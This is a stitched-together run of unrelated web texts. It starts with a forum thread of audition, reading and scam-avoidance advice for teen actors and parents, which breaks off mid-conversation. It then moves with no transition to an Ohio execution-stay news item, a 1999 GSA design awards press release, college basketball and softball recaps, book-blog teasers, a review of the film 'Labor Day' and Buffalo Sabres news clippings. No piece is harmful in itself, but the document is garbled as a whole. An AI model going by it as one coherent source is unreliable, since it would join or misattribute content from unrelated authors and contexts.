If you want to find auditions on your own, there are several places you can look. #1 of course, is here or the hard copy/printed version of Back Stage or Back Stage West on the West coast. Show Business Weekly is another good one for New York and the tri-state area. The Hollywood Reporter and Daily Variety sometimes have casting information, as well as your local newspaper for local theatre groups. There are also preproduction notices in The Hollywood Reporter on Tuesdays and Daily Variety on Mondays (cable), Thursdays (TV) and Fridays (film) and the Ross Reports. There are also several online casting sites. The most reputable are: www.actorsaccess.com - (actors access allows you to post your resume and a couple of photos online and peruse the breakdowns for free), www.lacasting.com www.nowcasting.com www.actorsequity.org www.actornews.com www.nycastings.com http://web.playbill.com/jobs/find www.extrasaccess.com and www.showbusinessweekly.com.
Start finding and collecting classical and contemporary monologues you like that are appropriate for your age. If you sing, have different styles of songs ready with the sheet music in your key. There are several styles of music, but the most common styles for auditions are musical theatre, up-tempo, ballad, pop/rock and gospel. Remember, in addition to singing a song you are comfortable with that shows your vocal range, you want to show off your personality, or the characterization of the role you are auditioning for, with what you sing. An example is you may know the National Anthem, but it's not a wise choice to use unless it is requested. That choice would show your vocal range, but it would not show very much personality.
The KEY to any audition is to BE PREPARED! Learn as much about the materieal or project that you can. Read the script, if possible. Learn about ALL the characters and how they relate to each other, not just the one you are auditioning for. If you are auditioning for a musical, have choices of music as listed above and also learn the songs from the show, so you will be prepared for anything.
Also, read, read, read as much as you can, starting with all the threads on this message board (use the "Find" button above, to search for specific topics), "How To" books on acting, auditioning, self-management, the business of acting, casting director and actor interviews, plays, screenplays, autobiographies, etc. Anything you can get your hands on. There are many helpful suggestions right here on the boards or if you go to www.amazon.com it will also show you other books that are recommended in that particular area of interest. Here are some highly recommended suggestions you can choose from to get you started.
First of all, you should be reading Back Stage or Back Stage West, religiously, either here online or in print. The printed version comes out every Thursday, sometimes available on Wednesday afternoons in drama book stores.
There are also very informative columns written by well respected industry professionals Bonnie Gillespie and Mark Sikes on Showfax http://more.showfax.com/columns, Bonnie's newest column covering cities outside of LA http://more.showfax.com/plus/pov, and NowCasting https://www.nowcasting.com/actorsink. Showfax also has an excellent discussion board if you need more help in finding the information you are looking for http://more.showfax.com/bbs2/index.php
A Practical Handbook for the Actor by Melissa Bruder, Lee Michael Cohn, Madeleine, Olnek, Nathaniel Pollack, Robert Previto, Scott Zigler. This is a great one especially for teens to begin with that is not too big or too expensive. It's less than 100 pages. It is used in many high school and college classes.
ACTING For Young Actors: The Ultimate Teen Guide by Mary Lou Belli and Dinah Lenney - this newly released book (Fall 2006) is perfect for any teen actor.
Acting is Everything: An Actors Guidebook for a Successful Career in Los Angeles 11th Edition by Judy Kerr - also known as the Bible for LA actors, although it includes information for several cities throughout the US.http://www.judykerr.com
Self-Management for Actors: Getting Down to (Show) Business 2nd Edition by Bonnie Gillespie - a must-read. What every actor needs to know to help them successfully manage the business side of their career. You will also find some of the information in this thread for teens in this book.http://cricketfeet.com/smfa
Casting Qs: A Collection of Casting Director Interviews by Bonnie Gillespie - another must-read for beginning actors as well as established professionals. A delightful and insightful collection of Casting Director interviews that help the actor see the business side of acting from the Casting Director's POV. http://cricketfeet.com/castingqs
Acting Qs: Conversations with Working Actors by Bonnie Gillespie and Blake Robbins - A wonderful collection of inspiring life experiences in the entertainment industry expressed truthfully by working actors. http://www.cricketfeet.com/actingqs
An Actor's Guide-Making It in New York by Glenn Alterman - one of New York's best actor's resource. http://www.glennalterman.com/books.htm
Audition: Everything an Actor Needs to Know to Get the Part by Michael Shurtleff
How to Get the Part Without Falling Apart by Margie Haber with Barbara Babchick
Act Right: A Manual for the On-Camera Actor by Erin Gray (of Silver Spoons) and Mara Purl - this book is not a how-to-act as in "acting" book. It's about appropriate behavior on a set which everyone, cast and crew alike, will relate to. It describes so many little details from personal experiences to the in's and out's that other books leave out about working on a set for film or television. Another great read!
How to Be a Working Actor: The Insiders Guide to Finding Jobs in Theatre, Film, and Television by Mari Lyn Henry and Lynne Rogers
Acting for the Camera: Revised Edition by Tony Barr
Breaking into Commercials: The Complete Guide to Marketing Yourself, Auditioning to Win, and Getting the Job by Terry Berland, Deborah Ouellette
Acting as a Business/New Edition: Strategies for Success by Brian O'Neil
Hitting Your Mark - What Every Actor Really Needs to Know on a Hollywood Set by Steve Carlson
The Glam Scam: Successfully Avoiding the Casting Couch and Other Talent and Modeling
Scams by Erik Joseph
For more reviews on any of these books, you can check them out on www.amazon.com
Scams are something very important to watch out for. Never accept an audition or go for an interview from a phone call when the caller says someone referred you to them. Same goes for being stopped in the mall with someone saying, "Oh, you have the perfect look for modeling or acting. Please come in for an interview." Don't waste your time. They just want yours or your parent's money.
Here are the links to help you research and/or report possible SCAMS: Better Business Bureau http://www.bbb.org Federal Trade Commission http://www.ftc.gov Easy Background Check http://www.easybackgroundcheck.com
Safety is an important issue for any age. Due to so many ways of people's identities being tampered with or stolen, it is very important to NEVER list your social security number on anything, even if it is requested on a sign-in sheet (unless you are at the audition for "over" an hour, you are union and they need your SS# to pay you for your time - so be sure to always sign out when you leave an audition) or a size card that is filled out at some auditions. You can write in "On file" or "Obtain upon hire" or if you are a union member, write in your member number. Also, do not ever write down you home phone number or address. These cards are tossed in the trash for anyone to find, so always us a cell or pager number and if possible a P.O. Box address or business address of a family member. You can even leave it blank. When you're hired is when you can give your personal info that is required.
One more thing... BE NICE! Please, please remember your manners. Always show the utmost respect and kindness for the people around you. You'll be very pleased to see how far that will take you and when you make it BIG, remember those same manners. Show respect for yourself and for the people who helped you achieve your goals. Stay grounded. Keep your standards and your values high. Don't let anyone take that away from you.
A few other sites that are especially geared to parents of working, or soon-to-be working child actors and teens who want to share and learn more are:
Professional Actors Resource Forum known as the PARF board http://people.delphiforums.com/showtalk www.actorsite.com http://bizkidstg.com
Signing off! - I know... it's about time!
Enjoy the journey and cherish every moment.This message has been edited. Last edited by: Mominbiz,
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Excellent advice for anyone MIB!
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Thanks, Csilvera! You know me... just trying to help! :smirk:
You're the best Mominbiz! :grin:
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Awwww... like I tell my kids... I try!
Thanks, TTT!
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wow thx!
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You're welcome, Nomad!
Wow this is real helpful. Grats on a brill post mate =)
I appreciate all the hard work you put into this post.
This is all a bit overwhelming at first .
Hello MIB & everyone else,
I have a question. A few years ago my son worked on a feature film. He was hired as an extra and didn't have any lines, but because he played the lead actor as a child he did receive a screen credit. Is it appropriate for him to list this as a credit on his resume?
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Was he upgraded?
No. He still was paid as an extra.
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Bummer :-( Did he "act" at all?
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Akron killer's execution stayed
(Columbus) -- Ohio Governor John Kasich is granting a stay of execution to a death row inmate who wants to donate his organs to his ill relatives.
40-year old Ronald Phillips of Akron was slated to die via lethal injection Thursday for the rape and murder of his girlfriend's three-year old daughter 20 years ago.
Phillips' attorneys wrote in a letter to the Ohio Department of Rehabilitation and Correction on Monday that their client was "making this generous request without any conditions or expectations." The request was originally denied due to the late date it was made.
The stay is in effect until July 2nd to asses whether Phillips organs can be donated.
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1998 GSA Design Award Winners Commended for Excellence in Federal Design
March 25, 1999
Contact: April Kaufman
(202) 501-1231
WASHINGTON, DC - More than 20 of America's leading architects and artists gathered at the Ronald Reagan Building and International Trade Center in Washington, DC, today for the U.S. General Services Administration's (GSA) fifth biennial Design Awards ceremony.
The GSA Design Awards program, administered with the assistance of the National Endowment for the Arts, recognizes the collaboration between private sector design professionals and GSA to provide the American people with projects of exceptional quality.
The winners, representing 23 projects nationwide, were selected by a ten-member jury chaired by architect Robert A. M. Stern, of Robert A. M. Stern Architects, New York. GSA Administrator David J. Barram said the projects represent excellence in architecture, art, engineering, graphic design, landscape and urban planning, historic preservation, interior design, and workplace environment.
"Through collaborative partnerships, we are producing facilities that reflect the dignity, enterprise, vigor, and stability of the Federal government; avoiding official style; and incorporating the work of living artists in our public buildings," said GSA's Public Buildings Service Commissioner Robert A. Peck.
"These award winning projects result from one of the most productive public-private partnerships in the Federal government - the GSA building program," said Barram. "They spring from the human mind and are made real though creative use of steel and stone, glass, paint and canvas, paper, and water. They are the works of individuals and of teams. Today's award winners represent the best of them. They epitomize design excellence in every sense of the word."
Senator Daniel Patrick Moynihan delivered the keynote address. National Endowment for the Arts Chairman Bill Ivey, American Institute of Architects President Michael Stanton, and architect Robert A. M. Stern also spoke at the ceremony.
The Design Awards Jury cited a diverse range of projects for the 1998 awards. James Ingo Freed's design of the Ronald Reagan Building and International Trade Center in Washington, DC, was cited for its "successful completion of the Federal Triangle complex. . . it holds its own against the originals - a feat that is seldom accomplished." Barbara Chase-Riboud's sculpture, Africa Rising, at 290 Broadway in New York City "conveys the powerful emotions and meaning of this historic site. . . result[ing] in a symbolic landmark sculpture, stunning in formal beauty and rich in collective history." In the graphic design category, Tullier Marketing Communications was recognized for its marketing package to promote and educate the Federal community and the public about integrating accessibility into the workplace. The illustrations, by a paraplegic artist, symbolize accomplishments in advancing the civil rights of people with disabilities.
Honor Award Winners
* Pei Cobb Freed and Partners for the design of the Ronald Reagan Building and International Trade Center in Washington, DC. The design fits into the urban context of Washington and the Federal Triangle of the nation's capital. The design merges traditional and contemporary themes both on the exterior and the interior to express a timeless quality of permanence and stature.
* Kohn Pedersen Fox Associates PC and BOORA Architects, Inc. for the design of the Mark O. Hatfield U.S. Courthouse in Portland, Oregon. The design achieves the goal of putting a modern, state-of-the-art building in the dense municipal core of downtown Portland. The asymmetrical, yet balanced, structure speaks to the language of courthouse in a refreshingly contemporary way.
* Tobey + Davis / Davis, Brody, Bond for the design of the U. S. Bureau of the Census National Data Processing Center in Bowie, Maryland. This elegant and transparent structure marries the poetic and subtle role of technology and detail.
* The Miller/Hull Partnership for the design of the Point Roberts Border Station in Pt. Roberts, Washington. David Miller's design at this border crossing is contextual with its surroundings, contemporary in its expression, and welcoming in its message.
* Mayer/Reed's signage for the Mark Hatfield United States Courthouse in Portland, Oregon reflects the tradition and dignity of the judiciary while working within the context of a modernist building and the electronic information age.
* Rick Helf's commemorative book, The United States Court of Appeals Building for the Ninth Circuit, celebrates the history and rebirth of this American treasure designed in the 1890s by James Knox Taylor.
Projects Winning Citations
* Skidmore Owings and Merrill for the design of the Robert C. Byrd U. S. Courthouse in Charleston, WV.
* Ray Kaskey for the boundary markers at the National Building Museum, Washington, DC.
* James Carpenter Design Studio Lens Ceiling proposal for the U. S. Courthouse and Federal Building in Phoenix, AZ.
* Diana K. Moore for the sculpture at the Warren B. Rudman, Jr. Federal Courthouse in Concord, NH.
* David Wilson for the architectural glass at the Robert C. Byrd Courthouse in Charleston, WV.
* Stephen Robin for his sculpture at the Ronald Reagan Building and International Trade Center, Washington, DC.
* Barbara Chase-Riboud for the sculpture at the African Burial Ground, 290 Broadway, New York City, NY.
* Leers Weinzapfel Associates Architects, Inc. for restoration of the Edward Gignoux Federal Courthouse,
Portland, ME.
* Richard Meier for the design of the U. S. Courthouse and Federal Building in Islip, NY.
* Kliment Halsband Architects for the renovation of and addition to the U. S. Post Office and Courthouse in
Brooklyn, NY.
* Bohlin Cywinski Jackson for the design of the William J. Nealon Federal Building and U. S. Courthouse in
Scranton, PA.
* Martha Schwartz, Inc. for landscape design at the Jacob Javits Federal Building in New York City, NY.
* Beyer Blinder Belle Architects for the Governors Island Land Use Study, New York Harbor, New York City, NY.
* Sorg and Associates for the Urban Design Guidelines for the Physical Perimeter and Entrance Security for the
Federal Triangle, Washington, DC.
* Jean Tullier for the design of the 30th Anniversary of the Architectural Barriers Act brochure.
* Ove Arup and Partners for the engineering and environmental study for the U. S. Courthouse and Federal Building
in Phoenix, AZ.
* McKay Lodge Fine Arts Conservation Laboratory, Inc. the restoration of Alexander Calder's "Flamingo" at the
John C. Kluczynski Federal Building in Chicago, IL.
GSA, in cooperation with the National Endowment for the Arts, assembled a jury of nationally recognized design professionals to review entries in the 1998 Design Awards competition. Serving on the jury with Chairman Stern were: William Hellmuth, Hellmuth Obata Kassabaum, Washington, DC; Allison Williams, Ai, San Francisco; Garth Rockcastle, Meyer Scherer and Rockcastle, Minneapolis; Charles Durrett, Space For Children, Berkeley; Arthur Gensler, Gensler Associates, San Francisco; Tom Moran, New Jersey Arts Council, Trenton; Pamela Hawkes, Ann Beha and Associates, Boston; Admiral Fred Kelley, Daniel Mann Johnson Mendenhall, Arlington; and Leslie Gallery-Dilworth, Society of Environmental Graphic Design, Philadelphia.


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Brendle and Fritz score 10 in opening season loss to N. GeorgiaNovember 12, 2010
Lindsay Brendle and Candice Fritz were each able to drop 10 points in loss to the Saints
Morrow, Ga. - The Brevard College women's basketball team fell in their season opener to the North Georgia Saints as they compete in the Chick-Fil-A Southeast Regional Challege being hosted by Clayton State. Brevard fell by a three point margin 61-58 in their first game of the 2010-11 season.
The Tornados were able to jump out to an early 7-0 lead thanks to two baskets from Candice Fritz (Northeast, MD) and a three-pointer hit by one of Brevard's sharp shooters Amber Roberts (Asheville, N.C.). The Saints scored four unanswered points and were able to climb back within the first ten minutes of the first half as it was 8-7 at the ten minute marker.
Brevard continued to hold on to the lead through much of the first half as they led by as many as six points during with 6:48 left in the first half of play. North Georgia was able to rally and take a one point lead as the game headed into half-time with a score of 25-24. Roberts led Brevard in the first half with six points after going 2-3 from the three point line. Fritz wasn't far behind as she put in a pair of buckets plus a free-throw for five points.
The Tornados were able to come out and take an early in the second half, as Amanda Whitaker (Asheville, N.C.) hit a jumper within the first minute of play putting Brevard up 26-25. After exchanging baskets a few times with the Tornados, the Saints went on a six point run taking a 36-30 lead with 15 minutes left to play.
Brevard was able to make another run and take a 40-38 lead after Alyssa Cutshaw (Thomasville, N.C.) hit a three pointer at the 11:20 mark. Following Cutshaw's three point basket, Brevard and North Georgia continued to trade-off scoring baskets with North Georgia taking the lead in many of the exchanges.
Holli Flippo (Kingston Springs, Tenn.) nailed a three-point basket with just under two minutes remaining in the game giving the Tornados a 58-57 lead. However, it was also Brevard's final field goal of the game as the Saints were able to convert three of four free throw attempts in the final minutes to give them the 61-58 edge for the win.
Janyce Ealey of North Georgia led all scorers with 12 points in the win over the Tornados, while Jessica Howard was able to pull down 14 rebounds for the Saints. For Brevard, Fritz and Lindsay Brendle led the way offensively scoring 10 points a piece. Brendle was able to hit six of eight from the free throw line while Fritz shot 60% from the field.
The Tornados fall to 0-1 on the season with the loss, and look to have their hands full on Saturday evening as well when they take on the nationally ranked Lakers of Clayton State. Tip-off is set for 5:30 p.m. at Clayton St.


text: It's about time!That's what I thought as I read the wisdom-packed pages of Tim Kimmel's latest book Connecting Church & Home. Tim Kimmel is the founder of Family Matters and long-time cheerleader for grace-based parenting. You can check out the Family Matters site here for a lot of valuable parenting resources.Connecting Church & Home is a quick, easy read that should be required for any family ministry leader. For that matter, any pastor who claims to care about families in the … [Read more...]


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ByDirk G. LangeOne of the issues that follows us throughout life is that of identity. Who am I? How do I define myself? And then, the surprising realization and question: who defines me? I'm not the only one to construct my identity. Many currents, influences, myths, and forces outside of myself frame me and who I am. I may be American, but if I'm also a Muslim, I'm sometimes under the suspicion of terrorism. This becomes an added layer to my identity. … [Read more...]
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Tucker Walk-off Lifts Tornados to Doubleheader SplitFebruary 15, 2013
Brevard, N.C.- BC senior Brittany Tucker belted a two-run walk-off homer in the bottom of the 8th inning of the second game of a doubleheader with the Milligan College Buffaloes to lift the Tornados to a 3-1 victory after the Tornados fell 4-3 in the opener.
Game One: Milligan 4, Brevard 3
The Tornados pulled within a run of the Buffaloes in the bottom of the 7th on a sacrifice fly by Kacey Brooker, but couldn't score Mollie Matthis from third with two outs in the 4-3 loss.
Brevard struck first in the game, taking a 1-0 lead on a Michelle Ray RBI single in the bottom of the 4th.
Milligan scored three runs on three hits in the top of the 5th against BC starter Jamie Hrobak (L, 2-2) to take a 3-1 lead.
The Tornados scratched a run across in the bottom of the 6th on an RBI double by Emily Boykin that scored Brittany Jones.
The Buffaloes added an insurance run in the top of the 7th on an RBI single by Sarah Arrowood, which turned out to be the difference in the game.
Game Two: Brevard 3, Milligan 1
Emily Boykin put the Tornados out to a 1-0 lead in the first inning when she doubled in Brittany Jones, who scored from first after reaching on a fielder's choice.
BC starter Kayla Clemens (W, 2-1) tossed six no-hit innings before allowing the game-tying solo homer to Milligan's Emily Biggs to start off the 7th inning. Clemens then retired the side in order to send the game into the bottom of the 7th.
After the Tornados were unable to score in the bottom of the 7th, Clemens stranded runners on 2nd and 3rd in the top of the 8th inning to set the stage for Tucker's late-game heroics.
The Tornados are back in action when they host the Pfeiffer Falcons for a doubleheader on Saturday February 23rd. The first game is scheduled to start at 1 p.m.


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'The only thing Hitchcock didn't like about this game was the third period. He thought the Flyers gave up the puck to the Sabres, sat back and tried to protect the lead rather than increase it. Considering the things that went right, they could be forgiven.'
The Sabres Report - January 25, 2004


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Labor Day
A divorced mom falls in love with an escaped murderer.
The premise is just ridiculous. Held hostage by a escaped con (a killer, no less!!!) Kate Winslet's depressed divorced mom Adele falls in love with her captor (an as always stone-face Josh Brolin) over Labor Day weekend, deciding before the end of the 3 days to run off with him to start a new life with her quickie-made family. The story is told from the perspective of her 12 year old son, played empathetically by Gatlin Griffith.
Now before you immediately discard killer and escaped con Frank as hubby material: after tying Adele to a chair (so she can honestly tell police she was held hostage), he tenderly feeds her his homemade chili. Then he goes on to fix her car, repair all sorts of things in her home and then, in a scene right out of "Ghost", sensuously teaches her how to make the best peach pie ever. The juices are flowing. I mean the pie, of course.
I have to say I laughed out loud. Look at this guy: he loves to clean, fix things and my God, he's a brilliant cook. Plus he teaches the kid to play ball and sensitively bonds with a handicapped neighbor's son. Not to mention his muscles. He's got it all. Oh, except he's a killer. Well, no one's perfect, right???
This is a love story straight out of the best seller by Joyce Maynard. It's her mom's peach pie recipe. And as ludicrous as the story seems, get ready for the clincher. It's based on Maynard's life. When she was a lonely divorced mom, she had a correspondence going with a prison inmate who she bonded with but never met. It ended she found out the reason he was an orphan like her was because he killed his parents. Not just killed them. DECAPITATED them. Now, THAT's a story.
Kate Winslet has made a career of playing suffering women and she doesn't disappoint though I gotta warn the men she doesn't get naked this time. Her emotions are naked. Just not her body. She does have great chemistry with the macho but domesticated Brolin.
This is a film that aims to show it's never too late to find true love. If you can just get past the story.
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'"I was hoping it would be done before camp," Kalinin said. "It was kind of slow with all the arbitrations."'
Archives for August 2006
Sabres stabilize blue line
Sabres re-sign D Kalinin
'The addition of the 26-year-old Russian fills out the top six spots in the Sabres' defensive ranks. The team re-signed four players and added free agent Jaroslav Spacek to replace Jay McKee, who signed with St. Louis last month.'
Kalinin signs two-year deal with Sabres
'Kalinin was a force in the playoffs before suffering a broken foot in Game 2 of the Eastern Conference Semifinals at Ottawa on May 8.'
Sabres re-sign restricted free agent Kalinin
'The 26-year-old Kalinin had 18 points (2-16) and a team-high plus-14 rating in 55 games with the Sabres last season. He added two assists in eight playoff games before breaking a foot in the second round against Ottawa.'
Sabres re-sign D Kalinin to two-year contract
'With only $7 million to work with under the cap, Sabres general manager Darcy Regier wants to use that money on Kalinin and starting goaltender Ryan Miller – both restricted free agents. Miller has yet to re-sign but Kalinin is in the fold for the next two years.'
Sabres ink Kalinin to two-year deal
'Kalinin was Buffalo's first-round pick and the 18th overall selection of the 1998 NHL Entry Draft. He has 26 goals and 82 assists for 108 points in 338 NHL games — all with the Sabres.'
Sabres sign Dimitri Kalinin
'…two-year deal…'
Kalinin Signs 2 year deal
'In 55 games last season with Buffalo, the 26-year-old Kalinin (6-foot-3, 206 lbs.) picked up 18 points (2+16) and was a team-high plus-14 despite missing 23 games due to injury.'
Dumont accepts Grand Ole offer
'There was talk Dumont might re-sign with the Sabres at a lower rate, but he made it clear that was just idle chatter. "They never made any offer until I went through arbitration, and right after when they said they walked away, there was no doubt in my mind that I was going to be out of there," he said during a teleconference. "I didn't feel comfortable at all anymore to be part of an organization that walked away from me."'
Buffalo's loss is Preds' gain
'"In talking to our coaches he should really end up on one of our top two lines," Poile said. "He is a good all-around player, but I think he is going to be a real good offensive player. I'm thinking and hoping that if he has a healthy season he is going to hit his career highs here in Nashville. He has really good hands and good vision. The people we can play him with are going to also complement him."'
Predators get boost on offense
'"I talked to (former Predator) Joel Bouchard and he told me good things about the town and organization,'' Dumont said. "He told me that it would be the best pick by far, and he didn't even know who the other teams were. He said (the Predators) really know how to treat everybody as a family. I wanted to go somewhere where I feel wanted and welcome, and that's exactly the way I feel now.'''
Sabres' Connolly still having concussion symptoms
'"It would be great if he was, but we realize it's a possibility he may not be ready for camp," Regier told the paper. "It's possible. We're not ruling it out, but it really is one of those things that we'll monitor, and we'll just move along as time moves along."'
Tuesday's J.P. Dumont Coverage (Updated 8:30 p.m.)
Predators sign winger Dumont to two-year deal (Nashville Tennessean)
Predators sign Dumont to two-year deal (AP)
Winger J.P. Dumont agrees to $4.5-million US, two-year deal with Predators (CP)
Predators sign RW Dumont to two-year contract (Sportsticker)
Predators sign Dumont (The Sports Network)
Predators sign free agent J.P. Dumont (NashvillePredators.com)
Dumont Signs With Nashville (WGR-AM)
Dumont to sign with Predators (TSN.ca)
Report: Connolly still feeling effects
'The Sabres have already been thinned out up front this summer, with Mike Grier leaving as a free agent, Taylor Pyatt getting traded to Vancouver and J.P. Dumont on the open market after the Sabres walked away from his arbitration award. With so many departures, it will leave spots open for young players like Derek Roy and Jason Pominville to take on greater roles, while Drew Stafford and Jiri Novotny could be among the newcomers to crack the Sabres forward ranks.'
Dumont à Nashville?
(In French): The Newspaper Le Journal de Montreal is reporting that J.P. Dumont will sign with the Nashville Predators.